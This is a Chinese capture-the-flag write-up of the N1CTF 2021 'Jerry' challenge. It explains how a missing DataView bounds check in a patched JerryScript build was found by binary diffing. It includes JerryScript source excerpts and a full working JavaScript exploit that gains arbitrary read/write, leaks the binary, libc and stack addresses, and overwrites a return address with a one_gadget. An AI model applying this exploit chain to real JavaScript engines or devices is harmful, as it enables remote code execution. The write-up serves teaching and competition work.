N1CTF2021 Jerry WP

阅读量    301954 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

上周我和队友们打了场N1CTF,最终取得第二名的成绩。这里是我解决的一个challenge,很可惜这题调远程的时候二血变成了三血。

 

环境准备

Bindiff

安装

https://www.zynamics.com/software.html找到自己IDA对应的版本,比如我是7.6的IDA ,我就下Bindiff7 而不是最上面那个lastest版本的,7.5也可以用7,以下就用6就行。

 

前置知识

DataView Object

#if JERRY_BUILTIN_DATAVIEW
/**
 * Description of DataView objects.
 */
typedef struct
{
  ecma_extended_object_t header; /**< header part */
  ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */
  uint32_t byte_offset; /**< [[ByteOffset]] internal slot */
} ecma_dataview_object_t;
#endif /* JERRY_BUILTIN_DATAVIEW */
  1. 一个DataView对象由以上部分构成。包括一个header,一个buffer_p,一个byte_offset。
  2. 对DataView的Parse,通过一个Routine去实现的包含一个Switch判断一些操作然后设置对应的Flag,最终在通过一个函数—ecma_op_dataview_get_set_view_value 去实现。比如Set和Get。
ecma_value_t
ecma_builtin_dataview_prototype_dispatch_routine (uint8_t builtin_routine_id, /**< built-in wide routine identifier */
                                                  ecma_value_t this_arg, /**< 'this' argument value */
                                                  const ecma_value_t arguments_list_p[], /**< list of arguments
                                                                                          *   passed to routine */
                                                  uint32_t arguments_number) /**< length of arguments' list */
{
  ecma_value_t byte_offset = arguments_number > 0 ? arguments_list_p[0] : ECMA_VALUE_UNDEFINED;

  switch (builtin_routine_id)
  {
    case ECMA_DATAVIEW_PROTOTYPE_BUFFER_GETTER:
    case ECMA_DATAVIEW_PROTOTYPE_BYTE_LENGTH_GETTER:
    case ECMA_DATAVIEW_PROTOTYPE_BYTE_OFFSET_GETTER:
    {
      return ecma_builtin_dataview_prototype_object_getters (this_arg, builtin_routine_id);
    }
    case ECMA_DATAVIEW_PROTOTYPE_GET_FLOAT32:
#if JERRY_NUMBER_TYPE_FLOAT64
    case ECMA_DATAVIEW_PROTOTYPE_GET_FLOAT64:
#endif /* JERRY_NUMBER_TYPE_FLOAT64 */
    case ECMA_DATAVIEW_PROTOTYPE_GET_INT16:
    case ECMA_DATAVIEW_PROTOTYPE_GET_INT32:
    case ECMA_DATAVIEW_PROTOTYPE_GET_UINT16:
    case ECMA_DATAVIEW_PROTOTYPE_GET_UINT32:
#if JERRY_BUILTIN_BIGINT
    case ECMA_DATAVIEW_PROTOTYPE_GET_BIGINT64:
    case ECMA_DATAVIEW_PROTOTYPE_GET_BIGUINT64:
#endif /* JERRY_BUILTIN_BIGINT */
    {
      ecma_value_t little_endian = arguments_number > 1 ? arguments_list_p[1] : ECMA_VALUE_FALSE;
      ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_GET_INT8);

      return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, little_endian, ECMA_VALUE_EMPTY, id);
    }
    case ECMA_DATAVIEW_PROTOTYPE_SET_FLOAT32:
#if JERRY_NUMBER_TYPE_FLOAT64
    case ECMA_DATAVIEW_PROTOTYPE_SET_FLOAT64:
#endif /* JERRY_NUMBER_TYPE_FLOAT64 */
    case ECMA_DATAVIEW_PROTOTYPE_SET_INT16:
    case ECMA_DATAVIEW_PROTOTYPE_SET_INT32:
    case ECMA_DATAVIEW_PROTOTYPE_SET_UINT16:
    case ECMA_DATAVIEW_PROTOTYPE_SET_UINT32:
#if JERRY_BUILTIN_BIGINT
    case ECMA_DATAVIEW_PROTOTYPE_SET_BIGINT64:
    case ECMA_DATAVIEW_PROTOTYPE_SET_BIGUINT64:
#endif /* JERRY_BUILTIN_BIGINT */
    {
      ecma_value_t value_to_set = arguments_number > 1 ? arguments_list_p[1] : ECMA_VALUE_UNDEFINED;
      ecma_value_t little_endian = arguments_number > 2 ? arguments_list_p[2] : ECMA_VALUE_FALSE;
      ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_SET_INT8);

      return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, little_endian, value_to_set, id);
    }
    case ECMA_DATAVIEW_PROTOTYPE_GET_INT8:
    case ECMA_DATAVIEW_PROTOTYPE_GET_UINT8:
    {
      ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_GET_INT8);

      return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, ECMA_VALUE_FALSE, ECMA_VALUE_EMPTY, id);
    }
    default:
    {
      JERRY_ASSERT (builtin_routine_id == ECMA_DATAVIEW_PROTOTYPE_SET_INT8
                    || builtin_routine_id == ECMA_DATAVIEW_PROTOTYPE_SET_UINT8);
      ecma_value_t value_to_set = arguments_number > 1 ? arguments_list_p[1] : ECMA_VALUE_UNDEFINED;
      ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_SET_INT8);

      return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, ECMA_VALUE_FALSE, value_to_set, id);
    }
  }
} /* ecma_builtin_dataview_prototype_dispatch_routine */

然后来看看这一函数。

ecma_value_t
ecma_op_dataview_get_set_view_value (ecma_value_t view, /**< the operation's 'view' argument */
                                     ecma_value_t request_index, /**< the operation's 'requestIndex' argument */
                                     ecma_value_t is_little_endian_value, /**< the operation's
                                                                           *   'isLittleEndian' argument */
                                     ecma_value_t value_to_set, /**< the operation's 'value' argument */
                                     ecma_typedarray_type_t id) /**< the operation's 'type' argument */
{
  /* 1 - 2. */
  ecma_dataview_object_t *view_p = ecma_op_dataview_get_object (view);//object

  if (JERRY_UNLIKELY (view_p == NULL))
  {
    return ECMA_VALUE_ERROR;
  }

  ecma_object_t *buffer_p = view_p->buffer_p;//获取object属性里的buffer 
  JERRY_ASSERT (ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_ARRAY_BUFFER)
                || ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_SHARED_ARRAY_BUFFER));

  /* 3. */
  ecma_number_t get_index;
  ecma_value_t number_index_value = ecma_op_to_index (request_index, &get_index);

  if (ECMA_IS_VALUE_ERROR (number_index_value))
  {
    return number_index_value;
  }

  /* SetViewValue 4 - 5. */
  if (!ecma_is_value_empty (value_to_set))
  {
#if JERRY_BUILTIN_BIGINT
    if (ECMA_TYPEDARRAY_IS_BIGINT_TYPE (id))
    {
      value_to_set = ecma_bigint_to_bigint (value_to_set, true);

      if (ECMA_IS_VALUE_ERROR (value_to_set))
      {
        return value_to_set;
      }
    }
    else
#endif /* JERRY_BUILTIN_BIGINT */
    {
      ecma_number_t value_to_set_number;
      ecma_value_t value = ecma_op_to_number (value_to_set, &value_to_set_number);

      if (ECMA_IS_VALUE_ERROR (value))
      {
        return value;
      }

      value_to_set = ecma_make_number_value (value_to_set_number);
    }
  }

  /* GetViewValue 4., SetViewValue 6. */
  bool is_little_endian = ecma_op_to_boolean (is_little_endian_value);

  if (ecma_arraybuffer_is_detached (buffer_p))
  {
    ecma_free_value (value_to_set);
    return ecma_raise_type_error (ECMA_ERR_MSG (ecma_error_arraybuffer_is_detached));
  }

  /* GetViewValue 7., SetViewValue 9. */
  uint32_t view_offset = view_p->byte_offset;

  /* GetViewValue 8., SetViewValue 10. */
  uint32_t view_size = view_p->header.u.cls.u3.length;//获取object里的length

  /* GetViewValue 9., SetViewValue 11. */
  uint8_t element_size = (uint8_t) (1 << (ecma_typedarray_helper_get_shift_size (id)));

  /* GetViewValue 10., SetViewValue 12. */
  if (get_index + element_size > (ecma_number_t) view_size)//判断是否越界
  {
    ecma_free_value (value_to_set);
    return ecma_raise_range_error (ECMA_ERR_MSG ("Start offset is outside the bounds of the buffer"));
  }

  /* GetViewValue 11., SetViewValue 13. */
  //然后下面就是利用buffer_p取计算然后get值和设置值的操作。
  uint32_t buffer_index = (uint32_t) get_index + view_offset;
  lit_utf8_byte_t *block_p = ecma_arraybuffer_get_buffer (buffer_p) + buffer_index;

  bool system_is_little_endian = ecma_dataview_check_little_endian ();

  ecma_typedarray_info_t info;
  info.id = id;
  info.length = view_size;
  info.shift = ecma_typedarray_helper_get_shift_size (id);
  info.element_size = element_size;
  info.offset = view_p->byte_offset;
  info.array_buffer_p = buffer_p;

  /* GetViewValue 12. */
  if (ecma_is_value_empty (value_to_set))
  {
    JERRY_VLA (lit_utf8_byte_t, swap_block_p, element_size);
    memcpy (swap_block_p, block_p, element_size * sizeof (lit_utf8_byte_t));
    ecma_dataview_swap_order (system_is_little_endian, is_little_endian, element_size, swap_block_p);
    info.buffer_p = swap_block_p;
    return ecma_get_typedarray_element (&info, 0);
  }
  if (!ecma_number_is_nan (get_index) && get_index <= 0)
  {
    get_index = 0;
  }
  /* SetViewValue 14. */
  info.buffer_p = block_p;
  ecma_value_t set_element = ecma_set_typedarray_element (&info, value_to_set, 0);
  ecma_free_value (value_to_set);

  if (ECMA_IS_VALUE_ERROR (set_element))
  {
    return set_element;
  }

  ecma_dataview_swap_order (system_is_little_endian, is_little_endian, element_size, block_p);

  return ECMA_VALUE_UNDEFINED;
} /* ecma_op_dataview_get_set_view_value */

在ecma_create_object 里面调用jmem_heap_alloc 去分配地址,也就是说Jerry 有自己的一套内存管理机制,如下

static void * JERRY_ATTR_HOT
jmem_heap_alloc (const size_t size) /**< size of requested block */
{
#if !JERRY_SYSTEM_ALLOCATOR
  /* Align size. */
  const size_t required_size = ((size + JMEM_ALIGNMENT - 1) / JMEM_ALIGNMENT) * JMEM_ALIGNMENT;
  jmem_heap_free_t *data_space_p = NULL;

  JMEM_VALGRIND_DEFINED_SPACE (&JERRY_HEAP_CONTEXT (first), sizeof (jmem_heap_free_t));

  /* Fast path for 8 byte chunks, first region is guaranteed to be sufficient. */
  if (required_size == JMEM_ALIGNMENT
      && JERRY_LIKELY (JERRY_HEAP_CONTEXT (first).next_offset != JMEM_HEAP_END_OF_LIST))
  {
    data_space_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (JERRY_HEAP_CONTEXT (first).next_offset);
    JERRY_ASSERT (jmem_is_heap_pointer (data_space_p));

    JMEM_VALGRIND_DEFINED_SPACE (data_space_p, sizeof (jmem_heap_free_t));
    JERRY_CONTEXT (jmem_heap_allocated_size) += JMEM_ALIGNMENT;

    if (JERRY_CONTEXT (jmem_heap_allocated_size) >= JERRY_CONTEXT (jmem_heap_limit))
    {
      JERRY_CONTEXT (jmem_heap_limit) += CONFIG_GC_LIMIT;
    }

    if (data_space_p->size == JMEM_ALIGNMENT)
    {
      JERRY_HEAP_CONTEXT (first).next_offset = data_space_p->next_offset;
    }
    else
    {
      JERRY_ASSERT (data_space_p->size > JMEM_ALIGNMENT);

      jmem_heap_free_t *remaining_p;
      remaining_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (JERRY_HEAP_CONTEXT (first).next_offset) + 1;

      JMEM_VALGRIND_DEFINED_SPACE (remaining_p, sizeof (jmem_heap_free_t));
      remaining_p->size = data_space_p->size - JMEM_ALIGNMENT;
      remaining_p->next_offset = data_space_p->next_offset;
      JMEM_VALGRIND_NOACCESS_SPACE (remaining_p, sizeof (jmem_heap_free_t));

      JERRY_HEAP_CONTEXT (first).next_offset = JMEM_HEAP_GET_OFFSET_FROM_ADDR (remaining_p);
    }

    JMEM_VALGRIND_NOACCESS_SPACE (data_space_p, sizeof (jmem_heap_free_t));

    if (JERRY_UNLIKELY (data_space_p == JERRY_CONTEXT (jmem_heap_list_skip_p)))
    {
      JERRY_CONTEXT (jmem_heap_list_skip_p) = JMEM_HEAP_GET_ADDR_FROM_OFFSET (JERRY_HEAP_CONTEXT (first).next_offset);
    }
  }
  /* Slow path for larger regions. */
  else
  {
    uint32_t current_offset = JERRY_HEAP_CONTEXT (first).next_offset;
    jmem_heap_free_t *prev_p = &JERRY_HEAP_CONTEXT (first);

    while (JERRY_LIKELY (current_offset != JMEM_HEAP_END_OF_LIST))
    {
      jmem_heap_free_t *current_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (current_offset);
      JERRY_ASSERT (jmem_is_heap_pointer (current_p));
      JMEM_VALGRIND_DEFINED_SPACE (current_p, sizeof (jmem_heap_free_t));

      const uint32_t next_offset = current_p->next_offset;
      JERRY_ASSERT (next_offset == JMEM_HEAP_END_OF_LIST
                    || jmem_is_heap_pointer (JMEM_HEAP_GET_ADDR_FROM_OFFSET (next_offset)));

      if (current_p->size >= required_size)
      {
        /* Region is sufficiently big, store address. */
        data_space_p = current_p;

        /* Region was larger than necessary. */
        if (current_p->size > required_size)
        {
          /* Get address of remaining space. */
          jmem_heap_free_t *const remaining_p = (jmem_heap_free_t *) ((uint8_t *) current_p + required_size);

          /* Update metadata. */
          JMEM_VALGRIND_DEFINED_SPACE (remaining_p, sizeof (jmem_heap_free_t));
          remaining_p->size = current_p->size - (uint32_t) required_size;
          remaining_p->next_offset = next_offset;
          JMEM_VALGRIND_NOACCESS_SPACE (remaining_p, sizeof (jmem_heap_free_t));

          /* Update list. */
          JMEM_VALGRIND_DEFINED_SPACE (prev_p, sizeof (jmem_heap_free_t));
          prev_p->next_offset = JMEM_HEAP_GET_OFFSET_FROM_ADDR (remaining_p);
          JMEM_VALGRIND_NOACCESS_SPACE (prev_p, sizeof (jmem_heap_free_t));
        }
        /* Block is an exact fit. */
        else
        {
          /* Remove the region from the list. */
          JMEM_VALGRIND_DEFINED_SPACE (prev_p, sizeof (jmem_heap_free_t));
          prev_p->next_offset = next_offset;
          JMEM_VALGRIND_NOACCESS_SPACE (prev_p, sizeof (jmem_heap_free_t));
        }

        JERRY_CONTEXT (jmem_heap_list_skip_p) = prev_p;

        /* Found enough space. */
        JERRY_CONTEXT (jmem_heap_allocated_size) += required_size;

        while (JERRY_CONTEXT (jmem_heap_allocated_size) >= JERRY_CONTEXT (jmem_heap_limit))
        {
          JERRY_CONTEXT (jmem_heap_limit) += CONFIG_GC_LIMIT;
        }

        break;
      }

      JMEM_VALGRIND_NOACCESS_SPACE (current_p, sizeof (jmem_heap_free_t));
      /* Next in list. */
      prev_p = current_p;
      current_offset = next_offset;
    }
  }

  JMEM_VALGRIND_NOACCESS_SPACE (&JERRY_HEAP_CONTEXT (first), sizeof (jmem_heap_free_t));

  JERRY_ASSERT ((uintptr_t) data_space_p % JMEM_ALIGNMENT == 0);
  JMEM_VALGRIND_MALLOCLIKE_SPACE (data_space_p, size);

  return (void *) data_space_p;
#else /* JERRY_SYSTEM_ALLOCATOR */
  JERRY_CONTEXT (jmem_heap_allocated_size) += size;

  while (JERRY_CONTEXT (jmem_heap_allocated_size) >= JERRY_CONTEXT (jmem_heap_limit))
  {
    JERRY_CONTEXT (jmem_heap_limit) += CONFIG_GC_LIMIT;
  }

  return malloc (size);
#endif /* !JERRY_SYSTEM_ALLOCATOR */
} /* jmem_heap_alloc */
struct jmem_heap_t
{
  jmem_heap_free_t first; /**< first node in free region list */
  uint8_t area[JMEM_HEAP_AREA_SIZE]; /**< heap area */
};

/**
 * Global heap.
 */
extern jmem_heap_t jerry_global_heap;

/**
 * Provides a reference to a field of the heap.
 */
#define JERRY_HEAP_CONTEXT(field) (jerry_global_heap.field)

也就是说最终使用jerry_global_heap来管理,而且这个jerry_global_heap也是固定于代码加载基地址的。

 

N1CTF &&Jerry

1.分析漏洞点

题目给了个Jerry,然后一般这种浏览器是会给diff的,但这题没有给,需要我们通过他给的Binary 去反推他打了什么补丁。首先通过运行时选项找到Version和commit

然后release版本的strip版本和非strip版本都编译一遍。

git clone https://github.com/jerryscript-project/jerryscript.git
cd jerryscript
git reset --hard d4178ae3
python tools/build.py //python tools/build.py --strip=off

发现我们自己编译的release strip 版本和题目给的版本就一个函数 有差别。然后记住release strip 这个偏移—0x2643d。然后用IDA 打开没有strip版本的Binary ,因为有符号所以我们可以迅速定位到是哪个函数进行了修改,而strip 版本和非strip版本函数的偏移是一样的。

最终利用偏移搜索发现是这个函数。

然后我们拿这个和题目的对比这一函数的具体代码。可以看到在题目给的Binary 比我们编译的少了一个检查。但是具体也说不清是怎么回事,所以我们去查看源代码。找到对应的函数。

这里是部分对应代码由于这个ecma_builtin_dataview_dispatch_construct 最终调用ecma_op_dataview_create ,所以我看查看ecma_op_dataview_create 部分源码。

ecma_value_t
ecma_builtin_dataview_dispatch_construct (const ecma_value_t *arguments_list_p, /**< arguments list */
                                          uint32_t arguments_list_len) /**< number of arguments */
{
  return ecma_op_dataview_create (arguments_list_p, arguments_list_len);
} /* ecma_builtin_dataview_dispatch_construct */

通过上下文很容易找出是这里被删掉了就是我打的注释的部分。

ecma_value_t
ecma_op_dataview_create (const ecma_value_t *arguments_list_p, /**< arguments list */
                         uint32_t arguments_list_len) /**< number of arguments */
{
[...]
  uint32_t view_byte_length;
  if (arguments_list_len > 2 && !ecma_is_value_undefined (arguments_list_p[2]))
  {
    /* 8.a */
    ecma_number_t byte_length_to_index;
    //获取第二个参数赋值
    ecma_value_t byte_length_value = ecma_op_to_index (arguments_list_p[2], &byte_length_to_index);

    if (ECMA_IS_VALUE_ERROR (byte_length_value))
    {
      return byte_length_value;
    }

    /* 8.b */
    // if (offset + byte_length_to_index > buffer_byte_length)
    // {
    //   return ecma_raise_range_error (ECMA_ERR_MSG ("Start offset is outside the bounds of the buffer"));
    // }

    //JERRY_ASSERT (byte_length_to_index <= UINT32_MAX);
    view_byte_length = (uint32_t) byte_length_to_index;
  }
[...]
  ecma_object_t *object_p = ecma_create_object (prototype_obj_p,
                                                sizeof (ecma_dataview_object_t),
                                                ECMA_OBJECT_TYPE_CLASS);

  ecma_deref_object (prototype_obj_p);

  /* 11 - 14. */
  ecma_dataview_object_t *dataview_obj_p = (ecma_dataview_object_t *) object_p;
  dataview_obj_p->header.u.cls.type = ECMA_OBJECT_CLASS_DATAVIEW;
  dataview_obj_p->header.u.cls.u3.length = view_byte_length;//赋值给length
  dataview_obj_p->buffer_p = buffer_p;
  dataview_obj_p->byte_offset = (uint32_t) offset;

  return ecma_make_object_value (object_p);
} /* ecma_op_dataview_create */

根据上下文可以分析出来这一段判断是否越界的,再设置长度的,去掉这一判断就可以造成设置length的越界。然后根据前置知识我们就是可以获得一个DataView的OOB,接下来我们只需要更改buffer_p就可以任意地址R/W了。这里由于Jerry用的自己的一套内存管理最好选择打栈的返回地址最好。

2.漏洞利用

漏洞利用就没什么能说的了,我直接拿题目给的去调的。本机环境20.04,题目给的是21.04不过差别不大,本机调完对远程改个偏移就能通了。

首先看下Debug版本中DataView的内存分布。直接下断点到ecma-dataview-object.c:155。

然后就可以利用Debug 版本的优化 自由输出变量的值。

var buffer = new ArrayBuffer(0x10)
var buffer2 = new ArrayBuffer(0x10)
data2=new DataView(buffer,0,0x100)
data=new DataView(buffer2,0,0x100)

第一个箭头是buffer_p,第二个是length。

可以看到这两个DataView对象离得不远,然后我们可以通过OOB用第一个去设置第二个的Buffer,造成ABR/W,然后leak textbase,leak libc,leak stack ,最终改写main函数返回地址为One_gadget。

3.Exploit

Ubuntu20.04,题目给的Binary不好下断点的话,就用assert就行了。

var buffer = new ArrayBuffer(0x10)
var buffer2 = new ArrayBuffer(0x10)
data2=new DataView(buffer,0,0x100)
data=new DataView(buffer2,0,0x100)
data.setUint32(0,0x41414141)
data.setUint32(4,0x41414141)
data2.setUint32(0,0x42424242)
data2.setUint32(4,0x42424242)
jerry_gloal_heap_offset=0x68
jerry_gloal_heap=data.getUint32(jerry_gloal_heap_offset+4,true)*0x100000000+data.getUint32(jerry_gloal_heap_offset,true)
text_base=jerry_gloal_heap-0x6d458
realloc_got=text_base+0x00000000006bf00+0x10
print(jerry_gloal_heap.toString(16))
print(text_base.toString(16))
print(realloc_got.toString(16))
data.setUint32(jerry_gloal_heap_offset,realloc_got&0xffffffff,true)

libc_base=data2.getUint32(4,true)*0x100000000+data2.getUint32(0,true)-0x9e000
print(libc_base.toString(16))
env=libc_base+0x1ef2e0-0x10
print(env.toString(16))
data.setUint32(jerry_gloal_heap_offset,env&0xffffffff,true)
data.setUint32(jerry_gloal_heap_offset+4,env/0x100000000,true)

stack=data2.getUint32(4,true)*0x100000000+data2.getUint32(0,true)
print(stack.toString(16))
ret_addr=stack-0x108-0x10
ogg=libc_base+[0xe6c7e,0xe6c81,0xe6c84][1]
data.setUint32(jerry_gloal_heap_offset,ret_addr&0xffffffff,true)
data.setUint32(jerry_gloal_heap_offset+4,ret_addr/0x100000000,true)
data2.setUint32(0,ogg&0xffffffff,true)
data2.setUint32(4,ogg/0x100000000,true)

//assert(1==2)

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多